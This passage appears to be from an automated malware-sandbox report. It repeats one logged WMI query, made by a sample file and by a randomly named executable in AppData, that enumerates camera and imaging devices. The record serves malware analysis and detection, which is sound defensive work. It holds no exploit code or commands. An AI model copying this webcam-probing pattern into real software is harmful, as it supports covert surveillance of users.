                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
